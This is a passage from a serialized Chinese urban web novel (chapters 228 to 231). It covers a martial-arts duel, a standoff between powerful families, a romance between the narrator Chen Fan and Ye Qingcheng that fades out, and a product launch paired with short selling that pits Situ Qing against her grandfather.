“既然这位白先生这么有信心,”司徒飞立刻说道:“那就恭敬不如从命了,杨师傅,林师傅,点到为止。”
杨青和林雪对视一眼,同时点头。
他们散开,一左一右,呈夹击之势,杨青摆出标准的八极拳起手式,沉肩坠肘,气息沉稳,林雪则是咏春的二字钳羊马,双手一前一后,眼神锐利。
白起没摆任何架势,他就那么站着,双手自然下垂,但他整个人的气势都变了,他像一把出鞘的刀,锋利,冰冷,带着杀气!
那一刻,我都是佩服不已!
我胸口带的那块玉佩,甚至感受到了战意,它在逐渐变热。
“请。”杨青说。
白起动了,快得像一道黑色闪电。
他没有先攻杨青或林雪,而是突然冲向两人中间的空档,杨青和林雪同时出手,一拳一掌,封死白起所有退路。
但白起不退反进,在拳掌及身的瞬间,身体以不可思议的角度扭曲,从夹缝中滑过。同时双手探出,一手扣住杨青的手腕,一手按住林雪的肘关节。
“砰!”
一声闷响!
杨青脸色一变,想要抽手,但白起的手指像铁钳一样将他锁死,反观林雪则更惨,肘关节被按住后,整条手臂瞬间麻痹。
两人同时变招,杨青另一只手化拳为掌,切向白起咽喉。林雪起脚,踢向白起膝盖。
白起松手,后退半步,刚好避开攻击,但退的同时,右脚撩起,踢在杨青小腿迎面骨上。
“咔嚓。”
清晰的骨裂声传来!
尽管我打过不少仗,可像白起这样身手的,我还是第一次见到,我甚至在想,如果我和白起动手,我是否有胜算?
杨青闷哼一声,站立不稳,单膝跪地,但他硬气,咬着牙没叫出来,只是额头瞬间冒出一层冷汗。
林雪趁机抢攻,双手化作残影,咏春的快拳如暴雨般倾泻。但白起根本不接招,只是侧身,滑步,再侧身。林雪的每一拳都擦着他的身体滑过,连衣角都碰不到。
十拳过后,林雪气息开始紊乱。咏春拳讲究短促爆发,不能久战。
白起看准她换气的瞬间,突然切入中门。不是拳,不是脚,而是一记肩撞。
“咚!”
林雪像被卡车撞到,整个人倒飞出去,撞在五米外的假山上。假山石碎裂,她瘫倒在地,嘴角溢血,挣扎了几下,没爬起来。
全场死寂!
从开始到结束,不到一分钟!
杨青跪在地上,右腿骨折。林雪倒在假山边,内腑受创。而白起,连呼吸都没乱。
司徒飞的脸色终于变了。他身后的灰色制服人群开始骚动。
“还有谁?”白起目光扫过那些人,“或者,司徒飞亲自来?”
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司徒飞后退一步道:“白起,你确实很能打,可是你就是在能打,你能打过八十人的司徒家的暗卫么?”
司徒飞根本不讲信用,他直接拿起对讲机,道:“所有暗卫听令,马上到前门集合,击杀白起!”
司徒飞竟然对白起下达了击杀令!
还是在净水庄园,周家的地盘上!
“我看谁敢动我的人!”
关键时刻,一个女人的声音响起!
是周叶青!
她来了!
周叶青从主楼里走出来。她换了一身白色西装,长发盘起,妆容精致,手里拿着一个平板电脑。在她身后,跟着四个穿着黑色中山装的中年男人,步伐沉稳,眼神锐利。
司徒飞的瞳孔收缩:“周叶青?你怎么在这里?”
“这里是我周家的产业,我为什么不能在?”周叶青走到我身边,看着司徒飞:“司徒飞,你带人强闯我周家的地方,还要杀我周家的人,你司徒家,是要和我周家开战吗?”
“周叶青!”他咬着牙:“这事跟你没关系,陈凡偷我司徒家的东西,我只是来拿回属于我的!”
“什么东西?”
“这个女人!”司徒飞指着叶倾城道:“她偷了我司徒家的**,还有陈凡手里的佛珠证据,这些都是我司徒家的东西。”
“证据呢?”
“我……”
“没有证据,就带人强闯,还要**。”周叶青的声音冷了下来,“司徒飞,你真以为上城是你司徒家说了算?”
她身后的四个中山装男人同时上前一步。
就是这一步,司徒飞那边的黑衣人齐刷刷后退一步。
那四个男人看起来平平无奇,但往那儿一站,就有一种无形的压力。那是久居上位、掌握生死的气场。
“周家的‘四象卫’。”司徒飞认出来了,脸色更加难看,“周叶青,你这是要保陈凡到底了?”
“我不是保陈凡,我是保我周家的规矩。”周叶青说,“在我周家的地方,就得守我周家的规矩。没有证据,没有法律手续,谁也不能动我的人。”
“如果我非要动呢?”
“你可以试试。”周叶青笑了,但那笑容里没有任何温度,“看是你司徒家的暗卫快,还是我周家的‘四象卫’快。也看看明天早上,上城的头条是‘司徒家大少夜闯私宅**’,还是‘周家大小姐正当防卫’。”
空气凝固了。
司徒飞死死盯着周叶青,眼神像是要喷出火来。他身后的黑衣人握着武器,但没人敢动。那四个中山装男人就那样站着,却像四堵墙,挡住了所有人的路。
就在这时,又一辆车驶入山庄。
是一辆黑色的红旗轿车,车牌是白色的,数字很小。
车停下,一个穿着灰色中山装的老者走下来。头发花白,但腰杆挺直,眼神锐利如鹰。
司徒雄。
228叶倾城的柔情(上)!
司徒飞的父亲,司徒家真正的掌权人。
“爸。”司徒飞立刻迎上去。
司徒雄没理他,直接走向周叶青。
“叶青……”他开口,声音沉稳,像是长辈看着晚辈一样道:“小儿鲁莽,多有得罪,我替他道歉。”
“司徒先生言重了。”周叶青微微颔首:“只是令公子带人强闯我私宅,还要**,这事不能就这么算了。”
“那叶青你的意思如何?”
“第一,让你们的人立刻离开,第二,赔偿山庄所有损失,第三…………”周叶青看着司徒飞:“令公子必须公开道歉,保证不再骚扰我周家的客人。”
司徒飞的脸色涨红:“你休想!”
“闭嘴。”司徒雄呵斥,然后对周叶青说:“前两条可以,第三条,能否换个方式?我司徒家的面子,不能这样丢。”
“那司徒先生觉得该怎么处理?”周叶青问道。
司徒雄沉默片刻,然后看向我:“陈凡,佛珠证据在你手里,叶倾城也在你手里,我们做个交易如何?”
“什么交易?”我问。
“你把证据和人交给我,今天的事,一笔勾销。从此以后,我司徒家不再找你麻烦。”
我笑了:“司徒先生,你觉得我会信吗?”
“我以司徒家的名誉担保。”司徒雄说道。
“司徒家的名誉?”我摇头:“值多少钱?”
司徒雄的眼神冷了下来:“年轻人,不要敬酒不吃吃罚酒,我亲自来谈,是给你面子。”
“那我不需要这个面子。”
我冷笑着回绝,老家伙,你在吓唬我?
随着我的拒绝,气氛再一次降到冰点。
就在这时候,又一辆车到了
这次是一辆老式的奔驰S600,车身保养得很好,但能看出来有些年头了。
车停下,一个穿着深蓝色中山装的老者走下来。他看起来比司徒雄年纪更大,头发全白,但精神矍铄,手里拿着一根紫檀木拐杖。
周家老爷子!
周镇山!
“司徒……”他开口,声音平和,但自带威严,“这么晚了,带这么多人来我孙女的庄子,想干什么?”
司徒雄的脸色第一次变了。
他没想到周镇山会亲自来。
“周老……”他微微躬身:“一点误会,惊动您了。”
“误会?”周镇山走到周叶青身边,看着满地的狼藉道:“这误会可不小啊。”
他看向司徒飞:“小子,是你带人来的?”
司徒飞不敢说话。
“说话!”周镇山拐杖一顿。
“是……是我。”司徒飞的声音有些发颤。
“为什么?”
“陈凡……他偷我司徒家的东西,还藏了偷我家文件的人。”
“证据呢?”周镇山问。
“我……”
“没有证据,就带人打上门来。”周镇山摇头:“司徒,你这儿子,教得不行啊。”
司徒雄的脸色很难看,但不敢反驳。
周镇山又看向我:“陈凡,他说你偷东西,你偷了吗?”
“没有。”我说:“佛珠证据是我从龙三爷手里拿的,叶倾城是她自己来找我的,我没有偷,也没有抢。”
“那佛珠里有什么?”
“有司徒家这些年**、**、甚至买凶**的证据。”我坦然:“如果周老想看,我可以给您。”
周镇岳摆摆手道:“我不看,这种事,该给谁看给谁看。”
他转向司徒雄:“司徒,这事你怎么说?”
司徒雄沉默了很久,终于,他开口道:“周老,今天的事,是我儿子不对,我代他向您和周小姐道歉。山庄的损失,双倍赔偿,至于陈凡手里的证据……”
他顿了顿:“如果他能保证不公开,我司徒家可以不再追究。”
“如果公开呢?”我问。
司徒雄看着我,眼神冰冷:“那就不死不休。”
周镇山笑了。
“司徒啊司徒……”他摇头道:“你还是这个脾气,都什么年代了,还动不动就不死不休。”
他拄着拐杖,走到我和司徒雄中间。
“今天,我做个和事佬。”他说:“陈凡手里的证据,暂时封存,不公开,司徒家不再找陈凡和他身边人的麻烦。今天的事,到此为止。”
他看向司徒雄:“同意吗?”
司徒雄咬牙:“同意。”
他又看向我:“你呢?”
我看了眼周叶青,她对我微微点头。
“我同意。”我说。
“好。”周镇山转身:“那就都散了吧,司徒,带你的人走,陈凡,把你的人扶进去治伤。”
司徒雄深深看了我一眼,然后对司徒飞说:“走。”
司徒飞还想说什么,但被父亲的眼神逼了回去。
周家的暗卫开始车里,他们乘车离开,很快山庄就只剩下我们的人。
“周老……”我上前道:“谢谢您给我解围。”
“不用谢我。”周镇山摆摆手:“要谢就谢我孙女。她为了你,可是把家底都搬出来了。
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”
他看了眼周叶青,眼中有一丝宠溺:“丫头,剩下的你自己处理,我老了,要回去睡觉了。”
“爷爷慢走……”
周叶青送走了周老后,看着我和叶倾城还有司徒晴,道:“剩下的,就交给你处理了。”
司徒晴没有过多的废话,她还是选择去召开明天的发布会,而我,则带着叶倾城离开了静水庄园。
虽然司徒飞嘴上答应不在为难我,但我们都知道,今天发生的一切,不过都是缓兵之计。
大家都在找寻能弄死对方的办法。
“他们走了,可是司徒雄不会放过我们的,他肯定还会找寻那些证据。”叶倾城提醒着我。
“我知道。”我一边开车,一边回道。
叶倾城转过身,面对着我:“陈凡,谢谢你。”
月光洒在她脸上,那双总是冷静自持的眸子里,此刻有着复杂的光在流动,感激,疲惫,还有某种我说不清的情绪。
“谢我什么?”
我一边开车,一边在摸索着口袋,我在找烟抽。
叶倾城看我的动作后,她马上拿出一盒香烟,然后放在自己嘴边,点燃,抽了一口,递给我嘴边。
我看到那跟烟屁股上还印着她嘴上的唇印。
她见我犹豫了,然后一脸认真道:“陈凡,我不脏,我的第一次还在……”
我嘿嘿一笑,将头伸过去,她将烟放进了我的嘴里。
那烟嘴上,还有她的香味。
“陈凡,你可真现实,知道我还是个雏儿,你就不嫌弃我了……”叶倾城话里有些幽怨,她的眼神也有些暗淡。
“我可什么都没说,是你蕙质兰心,想法太多。”
“你都夸我是蕙质兰心了,那就说明我说对了,看来你们男人,都喜欢雏儿。”叶倾城妩媚一笑,竟然叫这美景都黯然失色。
“我也是第一次……”我嘿嘿一笑。
“胡说……”叶倾城娇嗔道:“媚笙和我说过,你那方面……很厉害……”
说着,叶倾城的脸色就红了……
我微微一愣,这柳媚笙,还真是什么话都和闺蜜说,她想干什么?
“陈凡,今天如果不是你,我可能就被司徒家带走了……”
“所以呢,你想怎么谢谢我?”我一脸坏笑的问道。
“你想我怎么谢你?”叶倾城一脸认真的问我。
“我觉得,这种事情,可以去你家说……”我委婉的说道。
“好啊……”叶倾城眼波流转,道:“正合我意……”
229暴风雨来了!
半个小时后。
我的车子开回了周叶青给我准备的公寓,然后,我顺理成章的带着叶倾城回家。
男人好色,天经地义。
像叶倾城这种极品美女,没有男人看了会不心动,而且,我今天这样护着叶倾城,如果不能得到她的身体,我岂不是亏大了?
我陈凡,向来是一个不吃亏的主。
“你经常带女人回来么??”她忽然问道,语气听不出情绪。
“这是我的私人住所,除了保洁阿姨,你是第一个来的女人。”**脆利落的回答。
叶倾城听完后,她的唇角微微的弯了弯,似乎对我的回答很满意。
“你这里真的是一点生活气息都没有。”叶倾城环顾四周,笑着说道。
“我不常来,要喝点什么?”我脱下外套扔在沙发上,走向酒柜。
“水就好。”叶倾城道。
我从冰箱里拿出两瓶矿泉水,递给她一瓶,她接过去的那一瞬间,她的手指若有似无的摩擦我的手心,那触感很轻,像是电流一般。
“陈凡,今天的事情,是我欠你的,如果没有你,我现在应该被司徒飞扔到江里喂鱼了。”
“来你家的路上,我在车子里就想,我该怎么报答你,你好像什么都不缺,财富,女人,你似乎什么都有了。”
我看着她,没有说话,灯光在她脸上投下明明暗暗的光影,让她的表情显得格外动人。
“你知道最打动女人心的是什么吗?”她看着我,眼睛里有水光在闪动,她说道:“就是你今天的行为,在我绝望的时候,你给了我希望……”
叶倾城深吸了一口气,下定了决心道:“所以我在想,如果我还有什么能给你的,大概就只剩下……”
她没有说完,但意思已经再明显不过。
我没有动,只是静静地看着她,但这个世界好像只剩下了我们两个人。
“叶倾城,你不需要再这样。”我终于开口道。
我确实好色,可我更希望是女人主动把自己交给我,我要的是心甘情愿。
“我知道我不需要,但我想要!”
“陈凡,这三十多年来,我一直在为家族活着,为事业活着,为别人的眼光活着,我努力成为叶家最出色的女人,但我从来没有为自己活过。”
说话间,叶倾城的手指,轻轻触碰我的胳膊,她的指尖传来炙热的温度。
“今天在静水庄园,当司徒飞点我名的时候,我突然想明白了,如果我死在那里,那我这辈子最大的遗憾,就是从来没有真正为自己勇敢过一次。”
叶倾城的眼眸中流露出真诚,她的双眸,在不停的闪烁。
她的手指轻轻插入我的手中,然后和我十指相扣。
我站在原地,没有拒绝。
我的这个动作,给她了莫大的勇气,她又向前靠近了一步,我们的身体几乎贴在一起,她身上散发出浓郁的香水味道。
“陈凡,今晚让我做一次叶倾城,就只是一个想要你的女人!”她踮起脚尖,在我的耳边轻轻说道。
她的温柔言语,击垮了我最后一道防线。
我看着她的脸,她的脸上映着红晕,这样的叶倾城,比任何时候都要诱人。
我抬起另一只手,轻轻抚上她的脸颊,她的皮肤很细腻,她的睫毛颤动了一下,然后缓缓闭上了眼睛……
我低下头,吻住了她的唇。
“陈凡……”她轻唤我的名字,声音里有着情动的沙哑。
我没有说话,一把将她打横抱起,她惊呼一声,手臂本能地环住我的脖子,我抱着她走向卧室……
她仰躺在床上看着我,眼中有着紧张,但更多的是一种义无反顾的决绝。
“你不后悔?”我单手撑在她身侧,俯视着她。
“我做过很多决定,有些是对的,有些是错的。”她伸手抚上我的脸,坚定道:“但今晚这个决定,无论结果如何,我都不会后悔。”
……
翌日,上午九点。
我坐在办公室里,面前显示屏播放着各种股市行情。
叶倾城坐在我对面的沙发上,手里端着一杯咖啡。
经过昨晚,我们之间有了一种心照不宣的默契。
“还有十分钟,你觉得司徒晴能做到什么程度?”叶倾城问我。
“她准备了很久,以她的性格,要么不做,要做就一定做好。”我的目光落在其中一块屏幕上,那里显示着“晴空科技”的官网页面。
叶倾城抿了一口咖啡:“司徒雄现在应该已经知道了吧?”
“不止知道。”我切换到一个监控画面,那是司徒家老宅的卫星实时图像。
“昨晚我们离开后,司徒雄的人一直在静水庄园外围监视,今天早上六点,监视人员全部撤走了,司徒雄不是傻子,他知道在我这里讨不到便宜,肯定会转移目标。”
“司徒雄的目标就是司徒晴?”叶倾城放下咖啡杯问道:“你确定她能应付?一个司徒飞就已经让我们很难了,现在司徒家的老爷子要出场,形势更加艰难。”
“无非就是从暗斗变成了明斗,司徒飞不敢在玩阴险的,因为周家的出面,他们只能在商场上赢我们!”
九点整,股市开盘。
与此同时,晴空科技的线上直播发布会正式开始,我没有点开直播链接,但通过监控数据可以看到,开播三分钟,直播间人数已经突破五百万,并且还在以每秒数千人的速度疯涨。
“开始了。”叶倾城站起身,走到我身边,目光落在屏幕上。
我点开实时股价监控,司徒家的“飞越科技”的那条线,开盘时还勉强维持在每股42.3元的水平,但随着时间一分一秒过去,那条线开始微微颤抖,然后掉头向下。
“42.1……41.8……41.5……”叶倾城轻声念着数字,声音里带着一丝难以置信道:“才五分钟,跌了快两个百分点。”
“这只是开始。”我切换到一个数据分析界面,“晴
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空科技今天发布的是新一代智能驾驶系统,号称在复杂路况下的决策准确率比现有系统提升300%。如果这是真的,飞越科技花了五年时间,投入近百亿研发的同类产品,就会直接变成废铁。”
叶倾城倒吸一口凉气:“300%?这数据真实吗?”
“司徒晴不是会说大话的人,她既然敢公布这个数字,就一定有足够的底气。”
直播画面里,司徒晴的声音透过音响传出来。
“传统智能驾驶系统最大的问题,是在极端天气和突发状况下的决策延迟,我们的‘深空’系统,通过全新的神经网络架构,将决策时间缩短到0.03秒,同时准确率提升至99.97%。”
她身后的屏幕上开始播放实测视频。暴雨中的高速公路,能见度不足五十米,一辆搭载“深空”系统的测试车以每小时八十公里的速度行驶。突然,前方一辆货车侧翻,货物散落一地。测试车在0.5秒内完成识别、决策、避让的全套动作,平稳地绕过障碍,整个过程行云流水。
直播间弹幕瞬间**。
“**!这是电影特效吧?”
“飞越科技上个月不还吹他们的系统多牛逼吗?跟这个比简直是玩具!”
“股价!快看飞越的股价!”
我切换到股市界面。飞越科技的股价已经跌到40.2元,跌幅超过5%。而且下跌速度还在加快。
“司徒飞现在应该已经坐不住了吧。”叶倾城轻声说。
……
司徒家老宅,私人会议室。
司徒飞狠狠将手中的平板电脑砸在地上,屏幕瞬间碎裂。
“废物!一群废物!”他的咆哮声在隔音极好的会议室里回荡。
“三个月!我给了你们三个月时间!你们告诉我晴空科技只是在做基础研究!现在呢?啊?现在呢!”
会议室里坐着七八个人,都是飞越科技的高管和核心技术人员。此刻所有人都低着头,大气不敢出。
“司徒总……”一个戴着金丝眼镜的中年男人硬着头皮开口:“我们确实监控了晴空科技的所有采购记录和人才流动,他们这三个月只招募了十七个初级工程师,采购的也全是基础研发设备,我们以为……”
“你以为!你以为!”司徒飞抓起桌上的烟灰缸就砸了过去,烟灰缸擦着男人的头皮飞过,砸在墙上发出巨响。
“我要的不是你以为!我要的是确切的情报!确切的数据!现在我们的股价在跌!每一分钟都在跌!”
会议室的门被推开,一个秘书模样的年轻女人脸色苍白地走进来:“司徒总,刚收到消息,高盛、摩根士丹利已经下调了我们的评级,从‘买入’调整为‘观望’,还有有三家机构投资者刚刚提交了大额卖单。”
“多少?”司徒飞的眼睛红了。
“总计约八千万股。”秘书的声音在颤抖:“按现价计算,超过三十二亿。”
会议室里死一般寂静!
230司徒晴的决心!
八千万股!
这是什么概念,飞越科技的总股本不过十二亿,这一下就抛售了近7%的流通股,在股市上,这无异于一场海啸。
“查!给我查是谁在抛!还有,立刻让公关部发公告,就说我们的新一代系统下个月就能上线,性能远超晴空科技。”
“司徒总,我们的新系统最多只能做到准确率提升50%,决策时间0.1秒,和晴空科技公布的数据差距太大,如果现在吹出去,下个月拿不出东西,到时候……”
后面的话他没说,但所有人都明白,如果现在撒谎,下个月被拆穿,飞越科技将彻底失去市场信任,股价就不是跌5%的问题了,可能会直接腰斩。
司徒飞瘫坐在椅子上,他的手机响了,来电显示是父亲。
司徒飞的手抖了一下,深吸一口气,接通电话:“爸。”
电话那头传来司徒雄苍老但威严的声音:“来我书房,现在!”
电话挂断了,司徒飞看着熄灭的屏幕,突然感到一阵刺骨的寒意,他知道,真正的风暴,现在才刚刚开始。
……
同一时间,晴空科技的直播还在继续。
直播间人数已经突破一千两百万,成为当天全平台热度第一,司徒晴正在回答网友提问,每个问题都回答得条理清晰,数据详实。
“关于系统的安全性,我们通过了国际汽车工程师学会的最高等级认证,所有代码都经过形式化验证。”
“关于成本问题,量产后单套系统的硬件成本可以控制在八千元以内,是现有高端系统的三分之一。”
“既然谈到了合作?我们开放了开发者平台,任何车企都可以申请接入。”
司徒晴的每一个回答,都像一记重拳,打在飞越科技的心脏上。
我看了眼股价,39.1元,跌幅7.5%,而且还在持续下跌。
“司徒晴这一手,够狠。”叶倾城评价道:“这不仅是技术碾压,连商业模式都完全颠覆,飞越科技花了十年建立的护城河,她一个发布会就冲垮了。”
“陈凡,你实话告诉我,司徒晴今天的发布会,你在背后帮了多少?”叶倾城笑着问我。
我们的距离很近,近到能看清她眼中自己的倒影。晨光从她身后照过来,给她周身镶上了一层金边,但她的眼神却很认真,甚至有些严肃。
“重要吗?”我反问。
“重要。”她一字一顿地说:“因为如果这是你的安排,那我就需要重新评估很多事。”
办公室里的空气突然变的凝重。
“我没有安排发布会。”我最终说道:“那是司徒晴自己的决定,我只是提供了一些情报,在她需要的时候,给了她一点建议。”
“什么样的建议?”她追问。
“比如,选择今天开发布会,比如,在发布会前三个月,用假动作迷惑司徒飞,或者在股市上提前布局,做空飞越科技。”
叶倾城倒吸一口凉气:“你做空了飞越科技?”
“三周前开始的。”我调出一个加密账户的后台数据,“通过十二个离岸公司,累计建立了相当于飞越科技总股本15%的空头头寸,平均建仓成本每股44.2元。”
叶倾城快速心算了一下,眼睛瞪大了道:“现在股价39.1,你每股浮盈5.1元,15%的空头头寸那是接近二十亿的利润!”
“差不多。”我平静地说,“当然,前提是司徒晴的发布会成功,飞越科技的股价真的会跌。”
“所以你昨晚才那么淡定。”叶倾城终于明白了,她的语气复杂。
“所以无论司徒雄在静水庄园怎么闹,你都知道,今天过后,司徒家会自顾不暇,司徒雄就算想报复,也要先收拾家里的烂摊子。”
我点了点头。
她直起身,后退了两步,用一种全新的眼光看着我:“陈凡,有时候我真不知道,你到底在下多大的一盘棋。”
“活下去的棋。”我站起身,走到窗前,俯瞰着脚下的城市道:“在这个圈子里,如果你只想着下一步,迟早会被人吃掉,你必须想到十步之后,想到所有可能的变化,然后提前布局。”
“包括利用我?”她的声音从身后传来,很轻。
我转过身:“昨晚的事,和这些无关。”
“真的无关吗?”她笑了,笑容里有些苦涩,“你敢说,你选择昨晚带我去静水庄园,没有考虑到我会因此更依赖你?没有考虑到,经历了昨晚的事,我会在你和司徒家的冲突中,更坚定地站在你这边?”
我没有说话。
因为她说对了一部分。
昨晚的一切确实发生了,我也确实对她动了情。
但在那之前,当我决定带她去静水庄园面对司徒雄时,我确实计算过各种可能的结果,其中一种结果,就是现在这样,我们之间的关系因为共患难而加深,她彻底成为我的盟友,而不是随时可能动摇的合作伙伴。
成年人的世界就是这样,感情和算计往往交织在一起,分不清哪个在先,哪个在后,重要的是结果。
“叶倾城。”我走向她,停在她面前问到:“我承认,我算计了很多事,但我
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没有算计昨晚会发生什么,那不在我的计划里。”
她仰头看着我,眼睛一眨不眨:“那在什么计划里?”
“在我的计划里,昨晚你会在静水庄园看到司徒家的威胁,会意识到我们是一根绳上的蚂蚱,你会更愿意和我合作,一起对付司徒家。”
我伸手,轻轻抚过她的脸颊到:“但我没计划到的是,你会对我说那些话,会把自己交给我。”
她的睫毛颤动了一下。
“所以昨晚发生的事,”我继续说,声音低沉道:“是计划之外,但我不后悔。”
她沉默了很长时间,长到我以为她不会再说话,然后,她忽然伸手抱住了我,把脸埋在我的胸口。
“陈凡,你真是个混蛋。”她的声音闷闷的道:“但我好像,还是没办法讨厌你。”
就在这时,桌上的专线电话响了。我看了眼来电显示,是一个加密号码。
叶倾城松开我,退到一边:“你忙。”
我接起电话,没有说话。
电话那头传来司徒晴的声音:“陈凡,发布会结束了,在线峰值一千五百万,三十七家媒体要求专访,八家车企表达了合作意向。”
“恭喜。”我说。
“爷爷刚才给我打电话了。”司徒晴顿了顿道:“他要见我,现在!”
司徒雄能主动要求见司徒晴这点让我很意外,他这个老爷子早干嘛去了,在司徒晴被司徒飞赶出家门的时候,这个老爷子,怎么不站出来说话?
我看了一眼时间,上午十点二十分。
“需要我做什么?”我问。
“不用。”她的声音里忽然多了一丝决绝道:“这是我自己的战争,陈凡,谢谢你帮我走到这一步,但接下来的路,我必须自己走。”
“你确定?”
“确定!”她深吸一口气,“如果连面对爷爷的勇气都没有,我就不配坐晴空科技CEO这个位置,也不配做你的盟友。”
电话挂断了。
“出什么事了?”叶倾城问。
“司徒雄要见司徒晴。”我说。
她的脸色变了变:“现在?发布会刚结束?”
“现在。”我走到酒柜前,倒了两杯威士忌,递给她一杯倒:“司徒雄不是司徒飞,他不会在电话里咆哮,也不会砸东西,他会冷静地分析局面,然后给出两个选择——要么臣服,要么毁灭。”
叶倾城接过酒杯,问我:“司徒晴会怎么选?”
“我不知道。”我喝了一口酒道:“但我知道,无论她怎么选,从今天起,司徒家都再也回不到从前了。”
231有内鬼?
司徒家老宅坐落在城西的半山,占地近百亩,高墙深院,古树参天。
上午十点四十分,司徒晴的车停在了主宅前。
她没有带助理,也没有带保镖,就一个人前往。
她下车时,整理了一下白色衬衫的领口,又将马尾重新扎紧了些。
老宅的管家已经等在门口,这是个六十多岁的老人,姓周,在司徒家服务了四十年,从司徒雄还是中年时就跟在身边,他穿着深灰色的中山装,背脊挺直,眼神平静得像一潭古井。
“小姐,老爷在书房等您。”周管家微微躬身,声音平淡无波。
司徒晴点了点头,没有说话,跟着周管家穿过前院。
青石板路被打扫得一尘不染,两旁是精心修剪的盆景和假山流水,这里是司徒家的权力中心,也是司徒晴从小长大的地方,但此刻走在这里,她却感到一种前所未有的陌生和压迫感。
不是因为环境变了,而是因为她变了。
周管家在一扇厚重的紫檀木门前停下,抬手轻轻敲了三下。
“进来。”里面传来司徒雄苍老但依旧有力的声音。
门被推开,司徒晴走了进去。
司徒雄的书房很大,至少有两百平,三面墙都是顶天立地的书架,上面摆满了线装古籍和各类档案,正对着门的是一张巨大的紫檀木书桌,桌后坐着司徒雄。
他今天穿了一身深蓝色的唐装,头发梳得一丝不苟,脸上布满皱纹,但那双眼睛依旧锐利如鹰,他正在写毛笔字,听到开门声,头也没抬。
“爷爷。”司徒晴站在书桌前三米处,恭敬地叫道。
司徒雄没有回应,继续运笔,书房里很安静,只有毛笔在宣纸上划过的沙沙声。
司徒晴也没有再说话,安静地站着,她知道,这是爷爷的习惯,用沉默来制造压力,目的就让对方先露出破绽。
小时候,她和哥哥们做错了事,被叫到书房来,爷爷也是这样,不说话,只是让他们站着,站得越久,心里就越慌,最后总会有人忍不住先开口认错。
但今天,她不会,因为司徒晴觉的自己并没有做错。
十分钟过去了。
司徒雄终于写完最后一个字,他放下毛笔,拿起旁边的毛巾擦了擦手。
然后,他抬起头,看向司徒晴。
那目光很平静,但平静之下是深不见底的审视。
司徒晴她没有躲闪,也没有低头,就这样平静的回视。
“坐。”司徒雄指了指书桌对面的椅子。
司徒晴走过去坐下,背脊挺直。
“喝茶。”司徒雄亲手倒了一杯茶,推到她面前。
司徒晴端起茶杯,抿了一口,温度刚刚好,不烫不凉。
“发布会很成功。”司徒雄开口,第一句话出乎司徒晴的意料。
“一千五百万在线观看,三十七家媒体要求专访,八家车企表达了合作意向,做的不错。”司徒雄继续夸奖。
“谢谢爷爷。”她谨慎的回答。
“但是,你有没有想过,你的成功,是以司徒家的损失为代价的。”司徒雄话锋一转,目光变得锐利、
来了!
司徒晴心中暗道:“这才是真正的开场白!”
“商场如战场,胜败乃兵家常事,飞越科技的技术落后,被市场淘汰是迟早的事,我只是让这个过程提前了一点。”司徒晴不卑不亢道。
“提前了一点?”司徒雄笑了,但那笑容没有温度。
“晴晴,你让飞越科技的市值在一个小时内蒸发了近五十亿,你二叔现在还在会议室里砸东西,整个飞越科技团队人心惶惶,这叫‘提前了一点’?”
司徒晴放下茶杯道:“如果飞越科技的技术真的过硬,就不会因为一场发布会而股价暴跌,市场的眼睛是雪亮的,他们看得出谁在裸泳。”
“说得好。”司徒雄点了点头,站起身来道:“市场的眼睛是雪亮的,所以你现在是市场的宠儿,是科技新星,是司徒家最有出息的孙女。”
他转过身,看着司徒晴:“但你也是司徒家的人。你姓司徒。”
这句话很轻,但重若千钧。
司徒晴明白他的意思,你是司徒家的人,你的成功应该是司徒家的成功,你的利益应该是司徒家的利益。
但现在,你的成功建立在司徒家的损失之上,这是背叛。
“爷爷。”司徒晴也站起来,面色平和道:“我姓司徒,但我首先是晴空科技的CEO,我要对我的公司负责,对我的团队负责,对我的投资人负责。”
“你的投资人?”司徒雄微微眯起眼睛,“你指的是陈凡吗?”
书房里的空气瞬间凝固了。
司徒晴的呼吸几不可察地停顿了一瞬,她没想到爷爷会这么直接地点出陈凡的名字。
“陈凡确实投资了晴空科技,但晴空科技不是他的公司,是我的。所有的决策都是我自己做的,包括今天的发布会。”司徒晴一字一句的回答。
“包括选择在飞越科技即将发布新品的前一天开发布会?”司徒雄走回书桌前,拿起一份文件,冷漠道:“包括提前三个月做空飞越科技的股票?包括在发布会前一周,通过离岸公司收购三家小型零部件供应商,切断飞越科技的部分供应链?”
他每说一句,就翻一页文件,那些都是绝密的信息,有些连司徒晴自己都不知道陈凡做得这么隐秘。
但司徒雄知道了,不仅知道,而且知道得清清楚楚。
司徒晴的手心开始冒汗。
她现在终于明白,为什么爷爷刚才那么平静,那么从容,因为他早就掌握了一切,在她以为自己在下棋的时候,爷爷已经在更高的维度看着棋局了。
“我没有做空飞越科技。”她只能说这一句实话。
“但陈凡做了,而且他赚了至少二十亿。晴晴,你知道这二十亿是从哪里来的吗?是从司徒家的口袋里掏出来的,是从你大哥、你二哥、从所有司徒家族人的分红里掏出来的。”
司徒雄的眼神犹如寒冷的冰刀,刺向了司徒晴。
“所以你觉得,你做的一切,真的和司徒家无关吗?”
司徒晴沉默了,她无法反驳。
虽然她没有直接做空,但她确实在陈凡的帮助下策划了这一切,她知道
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陈凡会从中获利,但她没想到会有二十亿这么多,也没想到爷爷会知道得这么清楚。
司徒雄重新坐下,手指在桌面上轻轻敲击着,发出有节奏的声响。
“两个选择,第一,晴空科技并入飞越科技,你来做技术总监,辅助你二叔完成产品升级,我可以保证,你在新公司的股权不低于20%。”
司徒晴的心沉了下去,20%的股权听起来很多,但并入飞越科技意味着失去控制权,意味着她的心血付诸东流,意味着她要回到那个处处受制于司徒家的处境。
“第二呢?”她问道。
“第二,你继续做你的晴空科技,但司徒家会成立一家新的公司,全面进军智能驾驶领域,我会动用所有的资源,包括政商关系、供应链、渠道,确保新公司在六个月内推出竞品,届时,晴空科技将面临全方位的围剿。”
他顿了顿,补充道:“你应该知道,司徒家有这样的实力,而且这一次,我不会再留情面。”
司徒晴感觉浑身发冷。
这是司徒雄的恐怖,她冷冷道:“爷爷,我父亲和我哥哥现在生死未卜,下落不明,家里不去找他们,反而对我哦动手,这符合规矩吗?”
“司徒家的规矩向来就是家族利益高于一切,你今天的发布会,已经触犯了这条底线。”
他站起身,走到司徒晴面前,伸出手拍了拍她的肩膀。这个动作本该很温情,但司徒晴只感到一阵寒意。
司徒雄没有提及司徒鸣和司徒宇的事情,只是温和道:“晴晴,你是我最聪明的孙女,我一直很看好你,但你太年轻,太想证明自己,所以走得太急、太险。今天的事,我可以不追究,但你必须明白,在司徒家,没有人可以例外。”
他的手从司徒晴肩上移开,背过身去。
“我给你三天时间考虑,三天后,给我答案。”
这是送客的信号。
